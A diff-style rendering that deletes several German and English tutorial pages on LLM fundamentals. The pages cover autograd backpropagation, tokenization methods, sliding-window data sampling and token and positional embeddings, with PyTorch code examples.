- **Schritt 5:** Aktualisiere die Parameter mit einem Optimierungsalgorithmus (z. B. Gradient Descent).
|
||||
|
||||
### **3. Mathematische Darstellung**
|
||||
|
||||
Betrachte ein einfaches neuronales Netzwerk mit einer versteckten Schicht:
|
||||
|
||||
<figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. PyTorch-Implementierung**
|
||||
|
||||
PyTorch vereinfacht diesen Prozess mit seiner Autograd-Engine.
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import torch.optim as optim
|
||||
|
||||
# Define a simple neural network
|
||||
class SimpleNet(nn.Module):
|
||||
def __init__(self):
|
||||
super(SimpleNet, self).__init__()
|
||||
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
|
||||
self.relu = nn.ReLU()
|
||||
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
|
||||
self.sigmoid = nn.Sigmoid()
|
||||
|
||||
def forward(self, x):
|
||||
h = self.relu(self.fc1(x))
|
||||
y_hat = self.sigmoid(self.fc2(h))
|
||||
return y_hat
|
||||
|
||||
# Instantiate the network
|
||||
net = SimpleNet()
|
||||
|
||||
# Define loss function and optimizer
|
||||
criterion = nn.BCELoss()
|
||||
optimizer = optim.SGD(net.parameters(), lr=0.01)
|
||||
|
||||
# Sample data
|
||||
inputs = torch.randn(1, 10)
|
||||
labels = torch.tensor([1.0])
|
||||
|
||||
# Training loop
|
||||
optimizer.zero_grad() # Clear gradients
|
||||
outputs = net(inputs) # Forward pass
|
||||
loss = criterion(outputs, labels) # Compute loss
|
||||
loss.backward() # Backward pass (compute gradients)
|
||||
optimizer.step() # Update parameters
|
||||
|
||||
# Accessing gradients
|
||||
for name, param in net.named_parameters():
|
||||
if param.requires_grad:
|
||||
print(f"Gradient of {name}: {param.grad}")
|
||||
```
|
||||
In diesem Code:
|
||||
|
||||
- **Forward Pass:** Berechnet die Ausgaben des Netzwerks.
|
||||
- **Backward Pass:** `loss.backward()` berechnet die Gradienten des Verlusts in Bezug auf alle Parameter.
|
||||
- **Parameter Update:** `optimizer.step()` aktualisiert die Parameter basierend auf den berechneten Gradienten.
|
||||
|
||||
### **5. Verständnis des Backward Pass**
|
||||
|
||||
Während des Backward Pass:
|
||||
|
||||
- PyTorch durchläuft den Berechnungsgraphen in umgekehrter Reihenfolge.
|
||||
- Für jede Operation wird die Kettenregel angewendet, um Gradienten zu berechnen.
|
||||
- Gradienten werden im `.grad` Attribut jedes Parameter-Tensors akkumuliert.
|
||||
|
||||
### **6. Vorteile der automatischen Differenzierung**
|
||||
|
||||
- **Effizienz:** Vermeidet redundante Berechnungen, indem Zwischenresultate wiederverwendet werden.
|
||||
- **Genauigkeit:** Bietet exakte Ableitungen bis zur Maschinenpräzision.
|
||||
- **Benutzerfreundlichkeit:** Beseitigt die manuelle Berechnung von Ableitungen.
|
||||
@ -1,95 +0,0 @@
|
||||
# 1. Tokenisierung
|
||||
|
||||
## Tokenisierung
|
||||
|
||||
**Tokenisierung** ist der Prozess, Daten, wie z.B. Text, in kleinere, handhabbare Teile, die _Tokens_ genannt werden, zu zerlegen. Jedes Token erhält dann eine eindeutige numerische Kennung (ID). Dies ist ein grundlegender Schritt bei der Vorbereitung von Text für die Verarbeitung durch maschinelle Lernmodelle, insbesondere in der Verarbeitung natürlicher Sprache (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser Anfangsphase ist sehr einfach: **Teile die Eingabe in Tokens (IDs) auf eine Weise, die Sinn macht**.
|
||||
|
||||
### **Wie Tokenisierung funktioniert**
|
||||
|
||||
1. **Text aufteilen:**
|
||||
- **Einfacher Tokenizer:** Ein einfacher Tokenizer könnte Text in einzelne Wörter und Satzzeichen aufteilen und Leerzeichen entfernen.
|
||||
- _Beispiel:_\
|
||||
Text: `"Hallo, Welt!"`\
|
||||
Tokens: `["Hallo", ",", "Welt", "!"]`
|
||||
2. **Erstellen eines Vokabulars:**
|
||||
- Um Tokens in numerische IDs umzuwandeln, wird ein **Vokabular** erstellt. Dieses Vokabular listet alle einzigartigen Tokens (Wörter und Symbole) auf und weist jedem eine spezifische ID zu.
|
||||
- **Spezielle Tokens:** Dies sind spezielle Symbole, die dem Vokabular hinzugefügt werden, um verschiedene Szenarien zu behandeln:
|
||||
- `[BOS]` (Anfang der Sequenz): Kennzeichnet den Beginn eines Textes.
|
||||
- `[EOS]` (Ende der Sequenz): Kennzeichnet das Ende eines Textes.
|
||||
- `[PAD]` (Padding): Wird verwendet, um alle Sequenzen in einem Batch auf die gleiche Länge zu bringen.
|
||||
- `[UNK]` (Unbekannt): Stellt Tokens dar, die nicht im Vokabular enthalten sind.
|
||||
- _Beispiel:_\
|
||||
Wenn `"Hallo"` die ID `64` zugewiesen wird, `","` `455`, `"Welt"` `78` und `"!"` `467`, dann:\
|
||||
`"Hallo, Welt!"` → `[64, 455, 78, 467]`
|
||||
- **Umgang mit unbekannten Wörtern:**\
|
||||
Wenn ein Wort wie `"Tschüss"` nicht im Vokabular enthalten ist, wird es durch `[UNK]` ersetzt.\
|
||||
`"Tschüss, Welt!"` → `["[UNK]", ",", "Welt", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Angenommen, `[UNK]` hat die ID `987`)_
|
||||
|
||||
### **Fortgeschrittene Tokenisierungsmethoden**
|
||||
|
||||
Während der einfache Tokenizer gut für einfache Texte funktioniert, hat er Einschränkungen, insbesondere bei großen Vokabularen und dem Umgang mit neuen oder seltenen Wörtern. Fortgeschrittene Tokenisierungsmethoden adressieren diese Probleme, indem sie Text in kleinere Untereinheiten zerlegen oder den Tokenisierungsprozess optimieren.
|
||||
|
||||
1. **Byte Pair Encoding (BPE):**
|
||||
- **Zweck:** Reduziert die Größe des Vokabulars und behandelt seltene oder unbekannte Wörter, indem sie in häufig vorkommende Byte-Paare zerlegt werden.
|
||||
- **Wie es funktioniert:**
|
||||
- Beginnt mit einzelnen Zeichen als Tokens.
|
||||
- Fügt iterativ die häufigsten Paare von Tokens zu einem einzigen Token zusammen.
|
||||
- Fährt fort, bis keine häufigeren Paare mehr zusammengeführt werden können.
|
||||
- **Vorteile:**
|
||||
- Beseitigt die Notwendigkeit für ein `[UNK]`-Token, da alle Wörter durch die Kombination vorhandener Subwort-Tokens dargestellt werden können.
|
||||
- Effizienteres und flexibleres Vokabular.
|
||||
- _Beispiel:_\
|
||||
`"spielend"` könnte als `["spiel", "end"]` tokenisiert werden, wenn `"spiel"` und `"end"` häufige Subwörter sind.
|
||||
2. **WordPiece:**
|
||||
- **Verwendet von:** Modellen wie BERT.
|
||||
- **Zweck:** Ähnlich wie BPE, zerlegt es Wörter in Subwort-Einheiten, um unbekannte Wörter zu behandeln und die Vokabulargröße zu reduzieren.
|
||||
- **Wie es funktioniert:**
|
||||
- Beginnt mit einem Basisvokabular aus einzelnen Zeichen.
|
||||
- Fügt iterativ das häufigste Subwort hinzu, das die Wahrscheinlichkeit der Trainingsdaten maximiert.
|
||||
- Verwendet ein probabilistisches Modell, um zu entscheiden, welche Subwörter zusammengeführt werden sollen.
|
||||
- **Vorteile:**
|
||||
- Balanciert zwischen einer handhabbaren Vokabulargröße und einer effektiven Darstellung von Wörtern.
|
||||
- Behandelt seltene und zusammengesetzte Wörter effizient.
|
||||
- _Beispiel:_\
|
||||
`"Unglück"` könnte als `["un", "glück"]` oder `["un", "glücklich", "keit"]` tokenisiert werden, abhängig vom Vokabular.
|
||||
3. **Unigram-Sprachmodell:**
|
||||
- **Verwendet von:** Modellen wie SentencePiece.
|
||||
- **Zweck:** Verwendet ein probabilistisches Modell, um die wahrscheinlichste Menge von Subwort-Tokens zu bestimmen.
|
||||
- **Wie es funktioniert:**
|
||||
- Beginnt mit einer großen Menge potenzieller Tokens.
|
||||
- Entfernt iterativ Tokens, die die Wahrscheinlichkeit der Trainingsdaten am wenigsten verbessern.
|
||||
- Finalisiert ein Vokabular, in dem jedes Wort durch die wahrscheinlichsten Subwort-Einheiten dargestellt wird.
|
||||
- **Vorteile:**
|
||||
- Flexibel und kann Sprache natürlicher modellieren.
|
||||
- Führt oft zu effizienteren und kompakteren Tokenisierungen.
|
||||
- _Beispiel:_\
|
||||
`"Internationalisierung"` könnte in kleinere, bedeutungsvolle Subwörter wie `["international", "isierung"]` tokenisiert werden.
|
||||
|
||||
## Codebeispiel
|
||||
|
||||
Lass uns das besser anhand eines Codebeispiels von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) verstehen:
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
# Tokenize the code using GPT2 tokenizer version
|
||||
import tiktoken
|
||||
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
|
||||
|
||||
# Print first 50 tokens
|
||||
print(token_ids[:50])
|
||||
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
@ -1,240 +0,0 @@
|
||||
# 2. Data Sampling
|
||||
|
||||
## **Data Sampling**
|
||||
|
||||
**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.**
|
||||
|
||||
### **Why Data Sampling Matters**
|
||||
|
||||
LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text.
|
||||
|
||||
### **Key Concepts in Data Sampling**
|
||||
|
||||
1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters).
|
||||
2. **Sequence Length (max_length):** The number of tokens in each input sequence.
|
||||
3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text.
|
||||
4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence.
|
||||
|
||||
### **Step-by-Step Example**
|
||||
|
||||
Let's walk through an example to illustrate data sampling.
|
||||
|
||||
**Example Text**
|
||||
|
||||
```arduino
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
|
||||
```
|
||||
|
||||
**Tokenization**
|
||||
|
||||
Assume we use a **basic tokenizer** that splits the text into words and punctuation marks:
|
||||
|
||||
```vbnet
|
||||
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
|
||||
```
|
||||
|
||||
**Parameters**
|
||||
|
||||
- **Max Sequence Length (max_length):** 4 tokens
|
||||
- **Sliding Window Stride:** 1 token
|
||||
|
||||
**Creating Input and Target Sequences**
|
||||
|
||||
1. **Sliding Window Approach:**
|
||||
- **Input Sequences:** Each input sequence consists of `max_length` tokens.
|
||||
- **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence.
|
||||
2. **Generating Sequences:**
|
||||
|
||||
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
|
||||
|
||||
3. **Resulting Input and Target Arrays:**
|
||||
|
||||
- **Input:**
|
||||
|
||||
```python
|
||||
[
|
||||
["Lorem", "ipsum", "dolor", "sit"],
|
||||
["ipsum", "dolor", "sit", "amet,"],
|
||||
["dolor", "sit", "amet,", "consectetur"],
|
||||
["sit", "amet,", "consectetur", "adipiscing"],
|
||||
]
|
||||
```
|
||||
|
||||
- **Target:**
|
||||
|
||||
```python
|
||||
[
|
||||
["ipsum", "dolor", "sit", "amet,"],
|
||||
["dolor", "sit", "amet,", "consectetur"],
|
||||
["sit", "amet,", "consectetur", "adipiscing"],
|
||||
["amet,", "consectetur", "adipiscing", "elit."],
|
||||
]
|
||||
```
|
||||
|
||||
**Visual Representation**
|
||||
|
||||
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
|
||||
|
||||
**Sliding Window with Stride 1:**
|
||||
|
||||
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
|
||||
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
|
||||
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
|
||||
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
|
||||
|
||||
**Understanding Stride**
|
||||
|
||||
- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated.
|
||||
- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances.
|
||||
- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences.
|
||||
|
||||
**Example with Stride of 2:**
|
||||
|
||||
Using the same tokenized text and `max_length` of 4:
|
||||
|
||||
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
|
||||
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
|
||||
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
|
||||
|
||||
## Code Example
|
||||
|
||||
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
|
||||
```python
|
||||
# Download the text to pre-train the LLM
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
"""
|
||||
Create a class that will receive some params lie tokenizer and text
|
||||
and will prepare the input chunks and the target chunks to prepare
|
||||
the LLM to learn which next token to generate
|
||||
"""
|
||||
import torch
|
||||
from torch.utils.data import Dataset, DataLoader
|
||||
|
||||
class GPTDatasetV1(Dataset):
|
||||
def __init__(self, txt, tokenizer, max_length, stride):
|
||||
self.input_ids = []
|
||||
self.target_ids = []
|
||||
|
||||
# Tokenize the entire text
|
||||
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
|
||||
|
||||
# Use a sliding window to chunk the book into overlapping sequences of max_length
|
||||
for i in range(0, len(token_ids) - max_length, stride):
|
||||
input_chunk = token_ids[i:i + max_length]
|
||||
target_chunk = token_ids[i + 1: i + max_length + 1]
|
||||
self.input_ids.append(torch.tensor(input_chunk))
|
||||
self.target_ids.append(torch.tensor(target_chunk))
|
||||
|
||||
def __len__(self):
|
||||
return len(self.input_ids)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
return self.input_ids[idx], self.target_ids[idx]
|
||||
|
||||
|
||||
"""
|
||||
Create a data loader which given the text and some params will
|
||||
prepare the inputs and targets with the previous class and
|
||||
then create a torch DataLoader with the info
|
||||
"""
|
||||
|
||||
import tiktoken
|
||||
|
||||
def create_dataloader_v1(txt, batch_size=4, max_length=256,
|
||||
stride=128, shuffle=True, drop_last=True,
|
||||
num_workers=0):
|
||||
|
||||
# Initialize the tokenizer
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
|
||||
# Create dataset
|
||||
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
|
||||
|
||||
# Create dataloader
|
||||
dataloader = DataLoader(
|
||||
dataset,
|
||||
batch_size=batch_size,
|
||||
shuffle=shuffle,
|
||||
drop_last=drop_last,
|
||||
num_workers=num_workers
|
||||
)
|
||||
|
||||
return dataloader
|
||||
|
||||
|
||||
"""
|
||||
Finally, create the data loader with the params we want:
|
||||
- The used text for training
|
||||
- batch_size: The size of each batch
|
||||
- max_length: The size of each entry on each batch
|
||||
- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated.
|
||||
- shuffle: Re-order randomly
|
||||
"""
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=4, stride=1, shuffle=False
|
||||
)
|
||||
|
||||
data_iter = iter(dataloader)
|
||||
first_batch = next(data_iter)
|
||||
print(first_batch)
|
||||
|
||||
# Note the batch_size of 8, the max_length of 4 and the stride of 1
|
||||
[
|
||||
# Input
|
||||
tensor([[ 40, 367, 2885, 1464],
|
||||
[ 367, 2885, 1464, 1807],
|
||||
[ 2885, 1464, 1807, 3619],
|
||||
[ 1464, 1807, 3619, 402],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 402, 271, 10899, 2138],
|
||||
[ 271, 10899, 2138, 257]]),
|
||||
# Target
|
||||
tensor([[ 367, 2885, 1464, 1807],
|
||||
[ 2885, 1464, 1807, 3619],
|
||||
[ 1464, 1807, 3619, 402],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 402, 271, 10899, 2138],
|
||||
[ 271, 10899, 2138, 257],
|
||||
[10899, 2138, 257, 7026]])
|
||||
]
|
||||
|
||||
# With stride=4 this will be the result:
|
||||
[
|
||||
# Input
|
||||
tensor([[ 40, 367, 2885, 1464],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[10899, 2138, 257, 7026],
|
||||
[15632, 438, 2016, 257],
|
||||
[ 922, 5891, 1576, 438],
|
||||
[ 568, 340, 373, 645],
|
||||
[ 1049, 5975, 284, 502],
|
||||
[ 284, 3285, 326, 11]]),
|
||||
# Target
|
||||
tensor([[ 367, 2885, 1464, 1807],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 2138, 257, 7026, 15632],
|
||||
[ 438, 2016, 257, 922],
|
||||
[ 5891, 1576, 438, 568],
|
||||
[ 340, 373, 645, 1049],
|
||||
[ 5975, 284, 502, 284],
|
||||
[ 3285, 326, 11, 287]])
|
||||
]
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
@ -1,203 +0,0 @@
|
||||
# 3. Token Embeddings
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Nach der Tokenisierung von Textdaten ist der nächste kritische Schritt zur Vorbereitung von Daten für das Training großer Sprachmodelle (LLMs) wie GPT die Erstellung von **Token-Embeddings**. Token-Embeddings transformieren diskrete Tokens (wie Wörter oder Subwörter) in kontinuierliche numerische Vektoren, die das Modell verarbeiten und aus denen es lernen kann. Diese Erklärung zerlegt Token-Embeddings, deren Initialisierung, Verwendung und die Rolle von Positions-Embeddings zur Verbesserung des Modellsverständnisses von Token-Sequenzen.
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser dritten Phase ist sehr einfach: **Weisen Sie jedem der vorherigen Tokens im Vokabular einen Vektor der gewünschten Dimensionen zu, um das Modell zu trainieren.** Jedes Wort im Vokabular wird einen Punkt in einem Raum von X Dimensionen haben.\
|
||||
> Beachten Sie, dass die Position jedes Wortes im Raum zunächst "zufällig" initialisiert wird und diese Positionen trainierbare Parameter sind (während des Trainings verbessert werden).
|
||||
>
|
||||
> Darüber hinaus wird während des Token-Embeddings **eine weitere Schicht von Embeddings erstellt**, die (in diesem Fall) die **absolute Position des Wortes im Trainingssatz** darstellt. Auf diese Weise hat ein Wort an verschiedenen Positionen im Satz eine unterschiedliche Darstellung (Bedeutung).
|
||||
|
||||
### **Was sind Token-Embeddings?**
|
||||
|
||||
**Token-Embeddings** sind numerische Darstellungen von Tokens in einem kontinuierlichen Vektorraums. Jedes Token im Vokabular ist mit einem einzigartigen Vektor fester Dimensionen verbunden. Diese Vektoren erfassen semantische und syntaktische Informationen über die Tokens, sodass das Modell Beziehungen und Muster in den Daten verstehen kann.
|
||||
|
||||
- **Vokabulargröße:** Die Gesamtzahl der einzigartigen Tokens (z. B. Wörter, Subwörter) im Vokabular des Modells.
|
||||
- **Embedding-Dimensionen:** Die Anzahl der numerischen Werte (Dimensionen) im Vektor jedes Tokens. Höhere Dimensionen können nuanciertere Informationen erfassen, erfordern jedoch mehr Rechenressourcen.
|
||||
|
||||
**Beispiel:**
|
||||
|
||||
- **Vokabulargröße:** 6 Tokens \[1, 2, 3, 4, 5, 6]
|
||||
- **Embedding-Dimensionen:** 3 (x, y, z)
|
||||
|
||||
### **Initialisierung von Token-Embeddings**
|
||||
|
||||
Zu Beginn des Trainings werden Token-Embeddings typischerweise mit kleinen zufälligen Werten initialisiert. Diese Anfangswerte werden während des Trainings angepasst (feinabgestimmt), um die Bedeutungen der Tokens besser basierend auf den Trainingsdaten darzustellen.
|
||||
|
||||
**PyTorch-Beispiel:**
|
||||
```python
|
||||
import torch
|
||||
|
||||
# Set a random seed for reproducibility
|
||||
torch.manual_seed(123)
|
||||
|
||||
# Create an embedding layer with 6 tokens and 3 dimensions
|
||||
embedding_layer = torch.nn.Embedding(6, 3)
|
||||
|
||||
# Display the initial weights (embeddings)
|
||||
print(embedding_layer.weight)
|
||||
```
|
||||
**Ausgabe:**
|
||||
```lua
|
||||
luaCopy codeParameter containing:
|
||||
tensor([[ 0.3374, -0.1778, -0.1690],
|
||||
[ 0.9178, 1.5810, 1.3010],
|
||||
[ 1.2753, -0.2010, -0.1606],
|
||||
[-0.4015, 0.9666, -1.1481],
|
||||
[-1.1589, 0.3255, -0.6315],
|
||||
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
|
||||
```
|
||||
**Erklärung:**
|
||||
|
||||
- Jede Zeile entspricht einem Token im Vokabular.
|
||||
- Jede Spalte stellt eine Dimension im Einbettungsvektor dar.
|
||||
- Zum Beispiel hat das Token an Index `3` einen Einbettungsvektor `[-0.4015, 0.9666, -1.1481]`.
|
||||
|
||||
**Zugriff auf die Einbettung eines Tokens:**
|
||||
```python
|
||||
# Retrieve the embedding for the token at index 3
|
||||
token_index = torch.tensor([3])
|
||||
print(embedding_layer(token_index))
|
||||
```
|
||||
**Ausgabe:**
|
||||
```lua
|
||||
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
```
|
||||
**Interpretation:**
|
||||
|
||||
- Das Token an Index `3` wird durch den Vektor `[-0.4015, 0.9666, -1.1481]` dargestellt.
|
||||
- Diese Werte sind trainierbare Parameter, die das Modell während des Trainings anpassen wird, um den Kontext und die Bedeutung des Tokens besser darzustellen.
|
||||
|
||||
### **Wie Token-Embeddings während des Trainings funktionieren**
|
||||
|
||||
Während des Trainings wird jedes Token in den Eingabedaten in seinen entsprechenden Embedding-Vektor umgewandelt. Diese Vektoren werden dann in verschiedenen Berechnungen innerhalb des Modells verwendet, wie z.B. Aufmerksamkeitsmechanismen und Schichten neuronaler Netze.
|
||||
|
||||
**Beispiel-Szenario:**
|
||||
|
||||
- **Batch-Größe:** 8 (Anzahl der gleichzeitig verarbeiteten Proben)
|
||||
- **Maximale Sequenzlänge:** 4 (Anzahl der Tokens pro Probe)
|
||||
- **Embedding-Dimensionen:** 256
|
||||
|
||||
**Datenstruktur:**
|
||||
|
||||
- Jedes Batch wird als 3D-Tensor mit der Form `(batch_size, max_length, embedding_dim)` dargestellt.
|
||||
- Für unser Beispiel wäre die Form `(8, 4, 256)`.
|
||||
|
||||
**Visualisierung:**
|
||||
```css
|
||||
cssCopy codeBatch
|
||||
┌─────────────┐
|
||||
│ Sample 1 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ Sample 2 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ ... │
|
||||
│ Sample 8 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
└─────────────┘
|
||||
```
|
||||
**Erklärung:**
|
||||
|
||||
- Jedes Token in der Sequenz wird durch einen 256-dimensionalen Vektor dargestellt.
|
||||
- Das Modell verarbeitet diese Embeddings, um Sprachmuster zu lernen und Vorhersagen zu generieren.
|
||||
|
||||
## **Positions-Embeddings: Kontext zu Token-Embeddings hinzufügen**
|
||||
|
||||
Während Token-Embeddings die Bedeutung einzelner Tokens erfassen, kodieren sie nicht von Natur aus die Position der Tokens innerhalb einer Sequenz. Das Verständnis der Reihenfolge der Tokens ist entscheidend für das Sprachverständnis. Hier kommen **Positions-Embeddings** ins Spiel.
|
||||
|
||||
### **Warum Positions-Embeddings benötigt werden:**
|
||||
|
||||
- **Token-Reihenfolge ist wichtig:** In Sätzen hängt die Bedeutung oft von der Reihenfolge der Wörter ab. Zum Beispiel "Die Katze saß auf der Matte" vs. "Die Matte saß auf der Katze."
|
||||
- **Einschränkung der Embeddings:** Ohne Positionsinformationen behandelt das Modell Tokens als eine "Tüte voller Wörter" und ignoriert ihre Reihenfolge.
|
||||
|
||||
### **Arten von Positions-Embeddings:**
|
||||
|
||||
1. **Absolute Positions-Embeddings:**
|
||||
- Weisen jeder Position in der Sequenz einen einzigartigen Positionsvektor zu.
|
||||
- **Beispiel:** Das erste Token in jeder Sequenz hat dasselbe Positions-Embedding, das zweite Token hat ein anderes und so weiter.
|
||||
- **Verwendet von:** OpenAI’s GPT-Modelle.
|
||||
2. **Relative Positions-Embeddings:**
|
||||
- Kodieren den relativen Abstand zwischen Tokens anstelle ihrer absoluten Positionen.
|
||||
- **Beispiel:** Geben an, wie weit zwei Tokens voneinander entfernt sind, unabhängig von ihren absoluten Positionen in der Sequenz.
|
||||
- **Verwendet von:** Modellen wie Transformer-XL und einigen Varianten von BERT.
|
||||
|
||||
### **Wie Positions-Embeddings integriert werden:**
|
||||
|
||||
- **Gleiche Dimensionen:** Positions-Embeddings haben dieselbe Dimensionalität wie Token-Embeddings.
|
||||
- **Addition:** Sie werden zu Token-Embeddings addiert, wodurch die Identität des Tokens mit Positionsinformationen kombiniert wird, ohne die gesamte Dimensionalität zu erhöhen.
|
||||
|
||||
**Beispiel für das Hinzufügen von Positions-Embeddings:**
|
||||
|
||||
Angenommen, ein Token-Embedding-Vektor ist `[0.5, -0.2, 0.1]` und sein Positions-Embedding-Vektor ist `[0.1, 0.3, -0.1]`. Das kombinierte Embedding, das vom Modell verwendet wird, wäre:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
= [0.6, 0.1, 0.0]
|
||||
```
|
||||
**Vorteile von Positional Embeddings:**
|
||||
|
||||
- **Kontextuelles Bewusstsein:** Das Modell kann zwischen Tokens basierend auf ihren Positionen unterscheiden.
|
||||
- **Sequenzverständnis:** Ermöglicht es dem Modell, Grammatik, Syntax und kontextabhängige Bedeutungen zu verstehen.
|
||||
|
||||
## Codebeispiel
|
||||
